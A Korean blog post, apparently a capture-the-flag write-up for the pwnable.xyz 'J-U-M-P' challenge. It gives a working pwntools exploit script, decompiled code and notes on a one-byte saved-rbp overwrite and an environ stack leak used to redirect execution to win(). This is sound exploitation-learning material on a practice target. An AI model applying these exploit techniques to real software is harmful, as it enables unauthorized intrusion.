security/포너블 - pwnable.xyz

pwnable.xyz - J-U-M-P

민사민서 2023. 2. 12. 15:25
from pwn import *

p = remote("svc.pwnable.xyz", 30012)
# p = process("./challenge")

p.recvuntil("> ")
p.send("3")
main_rbp = int(p.recvline()[:-1], 16) - 0xf8
print(hex(main_rbp))

fake_rbp = (main_rbp+0x9)&0xff
real_rbp = main_rbp&0xff
p.recvuntil("> ")
pay = '119'+' '*0x1d+chr(fake_rbp) # 0x77 = 119
p.send(pay)
p.recvline() # Invalid

p.recvuntil("> ")
pay = '1'+' '*0x1f+chr(real_rbp)
p.send(pay)

p.interactive()

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int8 int8; // al
  __int64 v5; // [rsp+30h] [rbp-10h]
  void *v6; // [rsp+38h] [rbp-8h]

  setup(argc, argv, envp);
  v5 = gen_canary(); // 랜덤한 8byte 저장됨
  puts("Jump jump\nThe Mac Dad will make you jump jump\nDaddy Mac will make you jump jump\nThe Daddy makes you J-U-M-P\n");
  v6 = &loc_BA0; // lea rdi, (Jump jump~ 문자열 주소) 하는 명령어의 위치
  while ( 1 )
  {
    print_menu(); // return puts("Menu:\n1. J-U-M-P\n2. How high\n3. Ya you know me");
    printf("> ");

    int8 = read_int8();
    switch ( int8 )
    {
      case 2u:
// v6의 하위 4byte만 가져와서 2와 xor 연산하고 다시 8byte 형태로 v6에 넣는다..
        v6 = (void *)(int)((unsigned int)v6 ^ int8);
        break;
      case 3u:
// .bss 영역의 environ (0x202100) - canary는 0x108 떨어진 .bss 영역의 0x202208에 있음
// 스택 주소 leak 가능하다~
        printf("%p\n", (const void *)environ);
        break;
      case 1u:
        if ( v5 == canary )
// mov    rax,QWORD PTR [rbp-0x8]
// jmp    rax ; 어셈블리 상에선 이렇게 되어있음. v6 주소로 Jump 한다는 뜻이네
          __asm { jmp     rax }
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}
__int64 gen_canary()
{
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("Can't open /dev/urandom.");
    exit(1);
  }
// 전역변수 canary에 랜덤값 읽어옴
  if ( read(fd, &canary, 8uLL) != 8 )
  {
    puts("Can't read data.");
    exit(1);
  }
  close(fd);
  return canary;
}
int read_int8()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
// BOF 발생! 카나리 없다면 saved EBP 1byte 조작 가능
  read(0, buf, 0x21uLL);
  return atoi(buf);
}

- environ 포인터는 libc 내부에 존재하며, 스택의 environ을 가리킨다
- 스택의 환경변수 위치와 RET addr 간의 offset은 0xf0이다
- environ addr - 0xf8 = main rbp 위치 
pwndbg> p/x 0x7fffffffdf18-0x7fffffffde20 ; leak된 environ 값 - rbp 
$4 = 0xf8
* 사실 저 배경지식이 없어도 gdb로 열어서 vmmap 확인해봤을 때 environ 값과 main_rbp는 동일한 섹션에 들어있었고, 직접 offset 구해도 된다 (PIE, ASLR 걸려있어도 offset은 일정)

- v6의 마지막 바이트만 조작하면 된다 (PIE가 걸려있어도 마지막 3자리는 일정)
0xba0 <main+22>:   lea    rdi,[rip+0x1a1]        # 0xd48
0xb77 <win>:   push   rbp

how? 
처음엔 option2의 xor 연산 이용할까 했지만, 아무리 생각해도 방법이 안나옴

- int8 에 read_int8()로 값 저장하는 루틴에 답이 있다 (al -> 스택임시저장 -> 다시 eax 레지스터로)
   0x000055e76fffebcd <+67>:   call   0x55e76fffeab6 <read_int8>
   0x000055e76fffebd2 <+72>:   mov    BYTE PTR [rbp-0x11],al
   0x000055e76fffebd5 <+75>:   movzx  eax,BYTE PTR [rbp-0x11]
- rbp-0x11에 read_int8 리턴값 1바이트 저장
- main 함수의 지역변수 (v5,v6)들은 rbp 기준으로 값 가져오므로 rbp 조작 시 예상치못한 동작 할 수 있다


<exploit 계획>
1. 3 입력해 stack addr leak. rbp 위치를 구한다
2. int8 = read_int8() 에서 rbp 조작한다, 리턴값은 0x77로 만들어 v6 한바이트 조작한다
[rbp-0x11]이 [rbp-0x8] 가르키게 만들어야하니까 현재 rbp+0x9로 조작한다
3. int8 = read_int8() 에서 rbp 다시 원복한다, 리턴값은 1로 한다
4. JUMP가 이루어지면서 win() 실행된다

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - iape  (0) 2023.02.15
pwnable.xyz - strcat  (0) 2023.02.12
pwnable.xyz - SUS  (0) 2023.02.09
pwnable.xyz - fspoo  (0) 2023.02.09
pwnable.xyz - l33t-ness  (0) 2023.02.07